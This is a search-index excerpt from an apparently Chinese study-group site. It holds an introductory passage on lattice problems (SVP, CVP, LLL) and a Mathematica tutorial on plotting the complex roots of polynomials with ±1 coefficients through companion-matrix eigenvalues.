    \u6211\u4eec\u4e00\u822c\u7528 \\(\\lambda_1\\) \u6765\u5b9a\u4e49\u6574\u4e2a\u683c\u4e2d\u70b9\u4e0e\u70b9\u4e4b\u95f4\u6700\u77ed\u7684\u8ddd\u79bb\u3002\u4e00\u822c\u4e3a\u4e86\u65b9\u4fbf\u7406\u89e3\uff0c\u6211\u4eec\u5c31\u628a\u5176\u4e2d\u7684\u4e00\u4e2a\u70b9\u8bbe\u7f6e\u6210\u5750\u6807\u8f74 \\(O\\) \u70b9\uff0c\u7136\u540e \\(\\lambda_1\\)\u5c31\u53d8\u6210\u4e86\u8ddd\u79bb \\(O\\) \u70b9\u8ddd\u79bb\u6700\u8fd1\u7684\u683c\u70b9\u3002

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    \u987e\u540d\u601d\u4e49\uff0c\u6700\u77ed\u5411\u91cf\u95ee\u9898\uff08SVP\uff0cShortest Vector Problem\uff09 \u5c31\u662f\u5728\u683c\u4e2d\u627e\u5230\u201c\u957f\u5ea6\u201d\u6700\u77ed\u7684\u5411\u91cf\u3002 \u4e00\u4e2a\u5f88\u76f4\u89c2\u7684\u60f3\u6cd5\uff0c\u5982\u679c\u6211\u4eec\u624b\u4e0a\u7684\u683c\u57fa\u662f\u76f8\u4e92\u6b63\u4ea4\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u904d\u5386\u683c\u57fa\u4e2d\u7684\u5404\u4e2a\u5411\u91cf\u5c31\u53ef\u4ee5\u627e\u5230\u6700\u77ed\u7684\u5411\u91cf\u4e86\u3002

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    \u5982\u679c\u80fd\u591f\u4e00\u62db\u9c9c\u5403\u904d\u5929\uff0c\u90a3\u4f55\u4e50\u800c\u4e0d\u4e3a\u5462\uff1f\u53e6\u5916\u5c31\u662f\u56e0\u4e3a\u65e5\u76ca\u589e\u957f\u7684\u653b\u51fb\u624b\u6cd5\u548c\u4e0d\u592a\u591f\u7684\u8111\u5bb9\u91cf\u4e4b\u95f4\u7684\u77db\u76fe\u3002 \u4e3a\u4e86\u65b9\u4fbf\u6f14\u793a\uff0c\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u4e00\u7ef4\u7684\u683c\uff0c\u7136\u540e\u6211\u4eec\u9700\u8981\u627e\u5230\u8ddd\u79bb\u70b9\u00a0\\(t\\)\u00a0\u6700\u8fd1\u7684\u683c\u70b9\u00a0\\(B_x\\)

    \u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8fdb\u884c\u4e00\u4e2a\u7c7b\u4f3c\u4e8e\u201c\u5347\u7ef4\u201d\u7684\u64cd\u4f5c\uff0c\u4f7f\u5f97\u00a0\\(t\\)\u00a0\u70b9\u4e5f\u6210\u4e3a\u65b0\u683c\u7684\u4e00\u4e2a\u683c\u70b9\u3002

    \u7136\u540e\u5728\u8fd9\u4e2a\u65b0\u683c\u4e2d\u6211\u4eec\u89e3\u51b3\u4e00\u4e0b\u00a0SVP\uff0c\u627e\u5230\u6700\u77ed\u5411\u91cf\uff0c\u7136\u540e\u518d\u5c06\u8fd9\u4e2a\u6700\u77ed\u5411\u91cf\u6295\u5f71\u56de\u539f\u6765\u7684\u4f4e\u7ef4\u4e2d\uff0c\u6211\u4eec\u5c31\u80fd\u627e\u5230\u539f\u6765\u683c\u4e2d\u8ddd\u79bb\u00a0\\(t\\)\u00a0\u6700\u8fd1\u7684\u683c\u70b9\u00a0\\(B_x\\)\u00a0\u4e86\u3002 \u4e8e\u662f\u538b\u529b\u6765\u5230\u89e3\u51b3\u00a0SVP\u00a0\u8fd9\u8fb9\uff0c\u800c\u6211\u4eec\u4e4b\u524d\u4e5f\u8bf4\u4e86\uff0c\u201c\u4e3a\u4e86\u627e\u5230\u6700\u77ed\u5411\u91cf\uff0c\u5c31\u8981\u5c3d\u91cf\u4f7f\u5f97\u683c\u57fa\u6b63\u4ea4\u201d\uff0c\u4e8e\u662f\u538b\u529b\u53c8\u6765\u5230\u00a0\u627e\u5230\u6b63\u4ea4\u57fa\u00a0\u8fd9\u8fb9\u3002\uff08\u65bd\u5bc6\u7279\u6b63\u4ea4\u5316\u7528\u5728\u54ea\u91cc\u6709\u70b9\u6570\u4e86\u54c8\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lll","title":"LLL \u7b97\u6cd5","text":"

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    Fear the science. \u5c3d\u7ba1\u5f88\u524d\u6cbf\uff0c\u4f46\u662f\u8fd8\u662f\u90a3\u53e5\u8bdd\uff1a\u8fd9\u4e9b\u90fd\u662f\u5165\u95e8\uff0c\u751a\u81f3\u5165\u95e8\u7684\u8fb9\u90fd\u7b97\u4e0d\u4e0a\uff0c\u656c\u754f\u79d1\u5b66\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_23","title":"\u7ebf\u6027\u89c4\u5212","text":"

    \u8f6f\u4ef6\u5de5\u7a0b\u6709\u4e00\u95e8\u8bfe\u53eb\u51f8\u4f18\u5316\uff0c\u4f46\u662f\u6211\u4f5c\u4e3a\u4e00\u4e2a\u7f51\u5b89\u7684\u6ca1\u5b66\u8fc7\u4e5f\u4e0d\u4f1a\u5b66\uff08\u7406\u76f4\u6c14\u58ee\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_24","title":"\u56fe\u8bba","text":"

    \u4e8c\u5206\u56fe\uff0c\u7f51\u7edc\u6d41\u5565\u7684\uff0c\u7531\u4e8e\u7b97\u6cd5\u7ade\u8d5b\u9000\u5f79\u591a\u5e74\uff0c\u4eba\u83dc\uff0c\u7559\u5f85\u540e\u4eba\u8865\u5145\u3002\uff08\u76f8\u4fe1\u540e\u4eba\u7684\u667a\u6167\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#reference","title":"\u53c2\u8003 | Reference","text":"

    \u5357\u5927\u848b\u708e\u5ca9\u8001\u5e08\u5bf9\u4e2d\u5b66\u751fJSNOI\u5206\u4eab\uff1a https://jyywiki.cn/OI/

    \u95eb\u4ee4\u742a\u8001\u5e08\u7684Games101\uff1a https://sites.cs.ucsb.edu/~lingqi/teaching/games101.html

    3blue1brown: https://www.3blue1brown.com/

    Zach\u6570\u5b66\u7cfb\u5217: https://www.youtube.com/watch?v=i8FukKfMKCI&t=110s

    Van1sh\u7684\u535a\u5ba2\uff1ahttp://jayxv.github.io/2023/10/17/\u5bc6\u7801\u5b66\u57fa\u7840\u4e4b\u683c\u4e2d\u96be\u9898\u4e0e\u683c\u57fa\u89c4\u7ea6/

    Steven Yue\u7684\u6587\u7ae0\uff1a Steven Yue - \u77e5\u4e4e (zhihu.com)

    2020\u5e74Simons\u683c\u5bc6\u7801\u8bb2\u5ea7\uff1aLattices: Algorithms, Complexity, and Cryptography Boot Camp (berkeley.edu)

    2024-04-22\u2003\u2003 Contributors

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/","title":"\u7cfb\u6570\u4e3a\u00b11\u7684n\u6b21\u65b9\u7a0b\u6839\u5728\u590d\u5e73\u9762\u7684\u5206\u5e03","text":""},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_1","title":"\u5f15\u5b50","text":"

    Mathematica\u7684\u57fa\u7840\u8bed\u6cd5\u4e09\u53e5\u8bdd\u5c31\u80fd\u89e3\u51b3\uff1a

    1.\u5185\u7f6e\u51fd\u6570\u7684\u6bcf\u4e2a\u5355\u8bcd\u4ee5\u5927\u5199\u5b57\u6bcd\u5f00\u5934\u3002

    2.\u51fd\u6570\u7528[]\u4f20\u53c2\u3002

    3.List\u7528{}\u5305\u56f4\u3002

    {1\uff0c2\uff0c3}\n{{1\uff0c2}\uff0c{3\uff0c4}}\n

    \u7531\u4e8eMathematica\u7684\u8bed\u6cd5\u7cd6\u5b9e\u5728\u662f\u592a\u591a\u592a\u591a\u592a\u591a\u4e86\uff0c\u6240\u4ee5\u8fd9\u91cc\u6211\u5c3d\u91cf\u4f7f\u7528\u6700\u57fa\u7840\u7684\u8bed\u6cd5\u3002\u53ef\u80fd\u770b\u7740\u4e0d\u597d\u770b\uff0c\u4f46\u662f\u4fdd\u770b\u61c2\u3002\uff08Mathematica\u4e0d\u5e26\u8f6c\u4e49md\u7684\u529f\u80fd\uff0c\u6240\u4ee5\u8fd9\u4e2a\u6587\u6863\u7684\u4ee3\u7801\u663e\u793a\u5e76\u4e0d\u597d\uff09

    \u8fd9\u4e2a\u95ee\u9898\u6765\u81ea\u4e8e10\u5e74\u524d\u767e\u5ea6\u8d34\u5427Mathematica\u5427\u7684\u4e00\u4e2a\u5e16\u5b50\uff0c\u6211\u4eec\u5c1d\u8bd5\u590d\u73b0\u4e00\u4e0b\u8fd9\u4e2a\u95ee\u9898\u3002

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_2","title":"\u751f\u6210\u65b9\u7a0b\u5e76\u63d0\u53d6\u65b9\u7a0b\u7684\u89e3","text":"

    \u7cfb\u6570\u4e3a\u00b11\u7684\u4e8c\u6b21\u65b9\u7a0b\u957f\u8fd9\u6837\uff1a

    In[]:=x^Range[0, 2] . # == 0 & /@ Tuples[{-1, 1}, 3]\nOut[]={-1 - x - x^2 == 0, -1 - x + x^2 == 0, -1 + x - x^2 == \n  0, -1 + x + x^2 == 0, 1 - x - x^2 == 0, 1 - x + x^2 == 0, \n 1 + x - x^2 == 0, 1 + x + x^2 == 0}\n

    In\u548cOut\u4ee3\u8868\u8fd0\u884c\u8bed\u53e5\u548c\u8fd0\u884c\u7ed3\u679c\uff0c\u4e0d\u7528\u7ba1\u5b83\u4eec\u3002\u4f60\u53ea\u9700\u8981\u770bOut\u540e\u5934\u751f\u6210\u7684\u4e1c\u897f\u3002\u8fd9\u91cc\u4f7f\u7528\u7684\u751f\u6210\u65b9\u6cd5\u662f\u7a77\u4e3e-1\u548c1\u7684n+1\u5143\u7ec4\u5408\u4e0ex\u7684\u4ece0\u5230n\u6b21\u5e42\u70b9\u4e58\u7b49\u4e8e0\u3002\u4f46\u662f\u8fd9\u4e2a\u65b9\u6cd5\u6709\u70b9\u513f\u6162\uff0c\u7528\u4ee3\u6570\u6570\u53ef\u4ee5\u5feb\u70b9\u513f\u3002

    In[]:=AlgebraicNumber[x, {1, -1, 1, 1, -1}] == 0\nOut[]=1 - x + x^2 + x^3 - x^4 == 0\n

    \u4e25\u683c\u6765\u8bf4\uff0cMathematica\u5185\u90e8\u7684\u4ee3\u6570\u6570\u51fd\u6570\u662f\u6709\u70b9\u513f\u95ee\u9898\u7684\uff0c\u56e0\u4e3a\u5b83\u5141\u8bb8\u7cfb\u6570\u53d6\u5b9e\u6570\u8303\u56f4\uff0c\u4e0d\u8fc7\u8fd9\u4e0d\u91cd\u8981\uff0c\u91cd\u70b9\u662f\u6211\u4eec\u751f\u6210\u4e86\u4e00\u4e2a\u7b26\u5408\u9898\u5e72\u8981\u6c42\u7684\u65b9\u7a0b\uff0c\u800c\u4e14\u8fd9\u4e2a\u8bed\u6cd5\u6bd4\u4e0a\u5934\u90a3\u4e2a\u597d\u4f7f\u4e00\u4e07\u500d\u3002

    \u63a5\u4e0b\u6765\uff0c\u89e3\u65b9\u7a0b\u3002\u5148\u60f3\u5230\u7684\u80af\u5b9a\u662fNSolve\uff0cSolve\u7528\u4e8e\u6c42\u67d0\u4e2a\u65b9\u7a0b\u7684\u89e3\u6790\u89e3\uff0cNSolve\u7528\u4e8e\u6c42\u67d0\u4e2a\u65b9\u7a0b\u7684\u6570\u503c\u89e3\u3002

    In[]:=NSolve[AlgebraicNumber[x, {1, -1, 1}] == 0, x]\nOut[]={{x -> 0.5 - 0.866025 I}, {x -> 0.5 + 0.866025 I}}\n

    \u753b\u56fe\u80af\u5b9a\u4e0d\u80fd\u6307\u671b\u8fd9\u73a9\u610f\u513f\u753b\uff0c\u6240\u4ee5\u8981\u60f3\u529e\u6cd5\u63d0\u53d6\u51fa\u6765\u89e3\u3002\u7528TreeForm\u5206\u6790\u5c42\u6b21\uff08\u6216\u8005\u77aa\u773c\u6cd5\u4e5f\u884c\uff09\u53ef\u77e5\uff0c\u7b2c\u4e00\u5c42\u662f\u5305\u542b\u4e24\u4e2aList\u7684List\uff0c\u7b2c\u4e8c\u5c42\u662f\u5305\u542b\u6bcf\u4e2a\u89e3\u7684List\uff0c\u7b2c\u4e09\u5c42\u662f->\uff08Mathematica\u4e2d\u79f0\u4e3aRule\uff09\u3002[[]]\u53ef\u4ee5\u7528\u6765\u63d0\u53d6\u89e3\uff0c\u800cReIm\u51fd\u6570\u53ef\u4ee5\u5c06\u89e3\u7684\u5b9e\u90e8\u548c\u865a\u90e8\u751f\u6210\u4e00\u4e2aList\u8fd4\u56de\u3002

    In[]:=ReIm[NSolve[AlgebraicNumber[x, {1, -1, 1}] == 0, x][[All, 1, 2]]]\nOut[]={{0.5, -0.866025}, {0.5, 0.866025}}\n

    \u5c1d\u8bd5\u753b\u4e2a\u56fe\u5148

    In[]:=ListPlot[ReIm[NSolve[AlgebraicNumber[x, {#1, #2, #3, #4, #5, #6, #7, #8, #9, #10}] ==0, x][[All, 1, 2]]] & @@@ Tuples[{-1, 1}, 10]]\n

    \u5176\u4e2dListPlot\u4e3a\u7ed8\u5236\u6563\u70b9\u56fe\uff0c@@@\u7528\u4e8e\u66ff\u6362\u8868\u8fbe\u5f0f\u7684\u4e00\u7ea7\u6807\u5934\uff08TreeForm\u7684\u7b2c\u4e00\u5c42\uff09\uff0c#\u548c&\u4e3a\u7eaf\u51fd\u6570\u7684\u81ea\u53d8\u91cf\u548c\u7ed3\u5c3e\u6807\u8bc6\uff0c\u8fd9\u4e2a\u56fe\u957f\u8fd9\u6837\uff1a

    \u7136\u540e\u4f60\u53d1\u73b0\u4f60\u7684\u7535\u8111\u6709\u70b9\u513f\u5361\u4e86\u3002

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_3","title":"\u6548\u7387\u95ee\u9898","text":"

    \u6211\u4eec\u5faa\u89c4\u8e48\u77e9\u4e00\u70b9\u513f\uff0c\u81f3\u5c11\u8fd8\u6709\u4e24\u62db\u80fd\u7528\u3002

    1.\u5c0f\u6570\u6bd4\u6574\u6570\u5feb\u3002

    \u5982\u679c\u4f60\u5728Mathematica\u8ba1\u7b971/2\uff0c\u7ed3\u679c\u4f1a\u8fd4\u56de\u4e8c\u5206\u4e4b\u4e00\u3002\u540c\u7406\u7684\uff0c\u89e3\u65b9\u7a0b\u4e5f\u4f1a\u5982\u6b64\u3002

    In[]:=Solve[2 x^2 + 3 x + 4 == 0, x]\nOut[]={{x -> 1/4 (-3 - I Sqrt[23])}, {x -> 1/4 (-3 + I Sqrt[23])}}\nIn[]:=Solve[2.0  x^2 + 3.0  x + 4.0 == 0.0, x]\nOut[]={{x -> -0.75 - 1.19896 I}, {x -> -0.75 + 1.19896 I}}\n

    Mathematica\u4e2d\u6574\u6570\u7684\u7cbe\u5ea6\u4e0d\u662f1\uff0c\u800c\u662f\u65e0\u7a77\u3002\u6211\u4eec\u663e\u7136\u4e0d\u9700\u8981\u90a3\u4e48\u9ad8\u7684\u7cbe\u5ea6\uff0c\u7528\u673a\u5668\u7cbe\u5ea6\u8db3\u4ee5\u5b8c\u6210\u4efb\u52a1\u4e86\u3002

    2.\u4e13\u7528\u51fd\u6570\u6bd4\u901a\u7528\u51fd\u6570\u5feb\u3002

    Solve\u548cNSolve\u7684\u6c42\u89e3\u539f\u7406\u662f\u6c42f(x)=0\u7684\u53cd\u51fd\u6570\uff0c\u5bf9\u4e8e\u8d85\u8d8a\u65b9\u7a0b\u6765\u8bf4\uff0c\u6ca1\u529e\u6cd5\uff0c\u53ea\u80fd\u662f\u5b83\u3002\u4f46\u662f\u6211\u4eec\u4eca\u5929\u7684\u4e3b\u89d2\u662f\u591a\u9879\u5f0f\uff0c\u53ef\u4ee5\u6709\u66f4\u5feb\u7684\u65b9\u6cd5\u3002

    In[]:= NRoots[AlgebraicNumber[x, {1, -1, 1}] == 0, x]\nOut[]=x == 0.5 - 0.866025 I || x == 0.5 + 0.866025 I\n

    NRoots\u7ed9\u51fa\u4e00\u4e2a\u591a\u9879\u5f0f\u65b9\u7a0b\u7684\u6570\u503c\u8fd1\u4f3c\u89e3\u3002

    \u9a8c\u8bc1\u4e00\u4e0bNRoots\u548cNSolve\u54ea\u4e2a\u66f4\u5feb,\u6c42\u89e31000\u4e2a\u65b9\u7a0b\u6bd4\u8f83\u4e00\u4e0b\u3002

    In[]:=AbsoluteTiming[Do[List@@NRoots[AlgebraicNumber[x, {4., 3., 2., 1.}] == 0, x][[All, 2]], {1000}]]\nOut[]={0.0411889, Null}\nIn[]:=AbsoluteTiming[Do[List@@NSolve[AlgebraicNumber[x, {4., 3., 2., 1.}] == 0, x][[All, 1, 2]], {1000}]]\nOut[]={1.1734, Null}\n

    \u4e00\u4e2a0.04\u79d2\uff0c\u4e00\u4e2a1.17\u79d2\uff0c\u5dee\u8ddd\u76f8\u5f53\u660e\u663e\u3002

    \u5982\u6cd5\u70ae\u5236\uff0c\u6211\u4eec\u89c2\u5bdf\u4e00\u4e0b\u7ed3\u6784\uff08\u6216\u8005\u4f7f\u7528TreeForm\uff09\uff0c\u7b2c\u4e00\u5c42\u662fOr\uff0c\u4e5f\u5c31\u662f||\uff0c\u7b2c\u4e8c\u5c42\u662f\u7528Equal\uff08==\uff09\u8fde\u63a5\u7684x\u4e0e\u5bf9\u5e94\u89e3\u3002\u5f00\u59cb\u66ff\u6362\u3002

    In[]:=ReIm[List @@ NRoots[AlgebraicNumber[x, {1, -1, 1}] == 0, x][[All, 2]]]\nOut[]={{0.5, -0.866025}, {0.5, 0.866025}}\n

    \u7406\u8bba\u4e0a\uff0c\u53ea\u8981\u628a\u8fd9\u73a9\u610f\u513f\u5c01\u88c5\u6210\u51fd\u6570\uff0c\u753b\u4e2a\u6563\u70b9\u56fe\u8fd9\u4e8b\u513f\u5c31\u7ed3\u675f\u4e86\u3002\u4f46\u662f\u8fd8\u662f\u522b\u8fd9\u6837\u4e86\uff0c\u6211\u8bd5\u8fc7\u4e86\uff0c13\u6b21\u65b9\u7a0b\uff0c\u7528\u4e8665\u79d2\uff0c\u5168\u7a0b\u5185\u5b58\u5360\u7528\u6ca1\u4e0b700M\u3002

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_4","title":"\u5e08\u5937\u957f\u6280\u4ee5\u5236\u5937","text":"

    \u601d\u8003\u4e00\u4e2a\u95ee\u9898\uff1a\u6211\u771f\u7684\u9700\u8981\u6c42\u51fa\u6240\u6709\u7684\u65b9\u7a0b\u7684\u89e3\u5417\uff1f

    x^2+x+1==0\u548c-x^2-x-1==0\u7684\u89e3\u662f\u4e00\u6a21\u4e00\u6837\u7684\uff0c\u4e4b\u524d\u751f\u6210\u7684\u8fd9\u4e9b\u65b9\u7a0b\u4e2d\u6709\u4e00\u534a\u662f\u6c42\u89e3\u4e86\u4e5f\u6ca1\u7528\u7684\u3002\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u8003\u8651\u6700\u9ad8\u6b21\u7cfb\u6570\u4e3a\u6b631\u7684\u60c5\u5f62\u3002

    f[list_]:=List@@NRoots[AlgebraicNumber[x,Append[list,1]]==0,x][[All,2]]\n

    Append\u7528\u4e8e\u5728\u5217\u8868\u672b\u5c3e\u63d2\u5165\u503c\u3002

    \u518d\u8bd5\u8bd5\uff1f

    In[]:=AbsoluteTiming[f /@ Tuples[{-1, 1}, 13]]\nOut[]={6.16429,{...}}\n

    \u73b0\u5728\u6211\u4eec\u5012\u662f\u6c42\u51fa\u6765\u4e8613\u6b21\u65b9\u7a0b\u7684\u6240\u6709\u89e3\uff0c\u7136\u800c\u5427\u4e3b\u7684\u6700\u7ec8\u56fe\u50cf\u4e2d\u6c42\u89e3\u4e8619\u6b21\u65b9\u7a0b\uff0c\u8fd9\u4e2a\u65f6\u95f4\u662f6.16\u79d2\u76845\u4e2a\u6570\u91cf\u7ea7\uff0c\u800c\u4e14\u8fd9\u8fd8\u6ca1\u8ba1\u7b97\u753b\u56fe\u65f6\u95f4\u3002\u663e\u7136\uff0c\u8fd9\u662f\u6211\u4eec\u627f\u53d7\u4e0d\u8d77\u7684\u3002

    \u7136\u540e\uff0c\u6211\u4eec\u53d1\u73b0\u4e86\u4e00\u4e2a\u60b2\u54c0\u7684\u4e8b\u5b9e\uff1a

    Mathematica\u4e2dNRoots\u7684\u6c42\u89e3\u6548\u7387\u6bd4MATLAB\u4e2d\u7684roots\u4f4e\u4e86\u4e00\u4e2a\u6570\u91cf\u7ea7\uff01

    \u5e78\u8fd0\u7684\u662f\uff0cMATLAB\u53ef\u4ee5\u968f\u610f\u7be1\u6539\u51fd\u6570\u7684\u6e90\u4ee3\u7801\uff0c\u4e00\u53e5\u8bdd\u5c31\u53ef\u4ee5\u4e00\u7779\u8fd9\u4e2a\u51fd\u6570\u7684\u82b3\u5bb9\uff1a

    edit(which(\"roots.m\"))\n

    \u4e3e\u4f8b\u8bf4\u660e\u4e00\u4e0b\u539f\u7406\uff1a

    \u5df2\u77e5\u4e09\u6b21\u591a\u9879\u5f0f\u65b9\u7a0b\uff1a $$ a_3x^3+a_2x^2+a_1x+a_0=0 $$ \u6784\u9020\u77e9\u9635\uff1a $$ A=\\begin{bmatrix} -\\frac{a_2}{a_3} & -\\frac{a_1}{a_3} &-\\frac{a_0}{a_3} \\ 1 & 0 & 0\\ 0 & 1 & 0 \\end{bmatrix} $$ \u89e3\u4e3a\uff1a $$ x=\\begin{bmatrix} x_1\\x_2\\x_3 \\end{bmatrix} $$ \u5bf9\u89e3\u6709Ax=\u03bbx\uff0c\u5219\u6709\u65b9\u7a0b\uff1a $$ \\begin{matrix} -\\frac{a_2}{a_3}x_1-\\frac{a_1}{a_3}x_2-\\frac{a_0}{a_3}x_3=\\lambda x_1\\ x_1=\\lambda x_2\\ x_2=\\lambda x_3 \\end{matrix} $$ \u4ee3\u5165\u539f\u65b9\u7a0b\u5c31\u53ef\u4ee5\u628a\u6c42\u89e3\u65b9\u7a0b\u7684\u89e3\u8f6c\u5316\u4e3a\u6c42\u89e3\u77e9\u9635\u7684\u7279\u5f81\u503c\uff0c\u4ee5\u4e0a\u539f\u7406\u5bf9n\u6b21\u65b9\u7a0b\u4f9d\u7136\u6210\u7acb\u3002

    \u660e\u767d\u4e86\u539f\u7406\u5c31\u53ef\u4ee5\u81ea\u5df1\u5199\u4e00\u4e2a\u7c7b\u4f3c\u7684\uff0c\u4e0d\u8fc7\u6211\u4eec\u53ea\u8981\u7cfb\u6570\u00b11\u7684\u60c5\u51b5\u6240\u4ee5\u4e0d\u5fc5\u5b8c\u5168\u7167\u6284\u3002

    modifiedroots[c_List]:=Module[{a},a=DiagonalMatrix[ConstantArray[1.,Length[c]-1],-1];\na[[1]]=-c;\nEigenvalues[a]\n];\n

    \uff08\u987a\u5e26\u4e00\u63d0Mathematica\u91cc\u5934\u7528\u4e2a\u5c40\u90e8\u53d8\u91cf\u9ebb\u70e6\u5f97\u53ef\u6015\uff0c\u540c\u6837\u53ef\u6015\u7684\u662f\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u4e0d\u8fc7\u4eca\u5929\u7684\u5185\u5bb9\u4e0d\u6d89\u53ca\uff09

    \u7b9714\u6b21\u65b9\u7a0b\u7684\u65f6\u5019\u8fd9\u4e2a\u51fd\u6570\u7adf\u7136\u53ea\u7528\u4e861.23\u79d2\uff01\uff08\u6211\u4eec\u4e00\u5171\u8ba1\u7b97\u4e862^14\u4e2a\u65b9\u7a0b\uff09

    \u51c6\u5907\u7ed8\u56fe\u3002\u4e0d\u8fc7\u6211\u4eec\u6362\u4e2a\u65b9\u5f0f\u3002\u524d\u5934\u7684\u4e24\u4e2a\u6563\u70b9\u56fe\u592a\u96be\u770b\u4e86\uff0c\u6211\u4eec\u6539\u6210\u5bc6\u5ea6\u56fe\u3002

    \u9996\u5148\u5bf9\u70b9\u7684\u5206\u5e03\u8fdb\u884c\u7edf\u8ba1\u3002\u65e2\u7136\u6548\u7387\u63d0\u9ad8\u4e86\u5c31\u76f4\u63a5\u4e0a18\u6b21\u65b9\u7a0b\u3002

    In[]:=n = 18;\ndata = ReIm[Flatten[modifiedroots /@ Tuples[{-1, 1}, n]]];\ncounts = BinCounts[data, {-2, 2, 4./601}, {-2., 2., 4./601}];\nSort[Flatten[counts]]\nOut[]=(*\u8fd9\u91cc\u7684\u8f93\u51fa\u6709\u591a\u4e8e36\u4e07\u4e2a\u5143\u7d20\uff0c\u4e0d\u8fdb\u884c\u5217\u4e3e*)\n

    \u5c06\u7edf\u8ba1\u7ed3\u679c\u8f6c\u5316\u4e3a\u5e73\u9762\u76f4\u89d2\u5750\u6807\u7cfb\u4e2d\u7684\u5bf9\u5e94\u70b9\u7684\u7070\u5ea6\uff1a

    ArrayPlot[counts]\n

    \u5927\u6982\u957f\u8fd9\u6837\uff1a

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_5","title":"\u5408\u7406\u7684\u7be1\u6539","text":"

    \u8fd9\u4e2a\u56fe\u5e76\u4e0d\u597d\u770b\uff0c\u751a\u81f3\u4e8e\u8bf4\u6ca1\u6709\u89c2\u5bdf\u4ef7\u503c\u3002

    \u56de\u5230\u6570\u636e\u89c2\u5bdf\uff0c\u6211\u4eec\u53d1\u73b0\u8fd9\u4e2a\u6570\u636e\u96c6\u4e2d\u6709\u4e00\u5927\u534a\u76840\u548c\u4e00\u5927\u534a1000\u4ee5\u4e0a\u7684\u6570\u636e\u3002\u5149\u5b66\u7684\u884d\u5c04\u5b9e\u9a8c\u4e2d\u4e5f\u6709\u7c7b\u4f3c\u7684\u60c5\u51b5\uff0c\u79f0\u4e3a\u884d\u5c04\u4e3b\u6781\u5927\u3002\u6211\u4eec\u5e73\u5e38\u5728\u4e66\u4e0a\u770b\u5230\u7684\u884d\u5c04\u56fe\u6837\u90fd\u662f\u88ab\u5904\u7406\u8fc7\u7684\uff0c\u5b9e\u9645\u4e0a\uff0c\u771f\u6b63\u7684\u884d\u5c04\u5b9e\u9a8c\u4e2d\u4e2d\u95f4\u7684\u6761\u7eb9\u5149\u5f3a\u662f\u8fdc\u9ad8\u4e8e\u8fb9\u7f18\u7684\u5c0f\u6761\u7eb9\u7684\u3002

    In[]:=Sort[Flatten[UnitStep[300 - counts]*counts]]\nOut[]=(*\u8fd9\u91cc\u7684\u8f93\u51fa\u6709\u591a\u4e8e36\u4e07\u4e2a\u5143\u7d20\uff0c\u4e0d\u8fdb\u884c\u5217\u4e3e*)\n

    UnitStep\u5728x\uff1c0\u65f6\u53d60\uff0cx\u22650\u65f6\u53d61\u3002

    \u518d\u753b\u4e00\u4e0b\u56fe\uff1a

    ArrayPlot[UnitStep[300 - counts]*counts]\n

    \u6539\u4e2a\u989c\u8272\uff1a

    ArrayPlot[UnitStep[300 - counts]*counts,ColorFunction->\"AvocadoColor\"]\n

    \u5927\u529f\u544a\u6210\uff01

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_6","title":"\u66f4\u4e25\u91cd\u7684\u95ee\u9898","text":"

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    \u90a3\u5982\u679c\u662f24\u6b21\u65b9\u7a0b\u5462\uff1f

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    886886

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    https://jump2.bdimg.com/p/3622255435?pn=1

    2024-05-13\u2003\u2003 Contributors

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    2024-04-27\u2003\u2003 Contributors

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    2024-06-13\u2003\u2003 Contributors

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    2024-06-03\u2003\u2003 Contributors

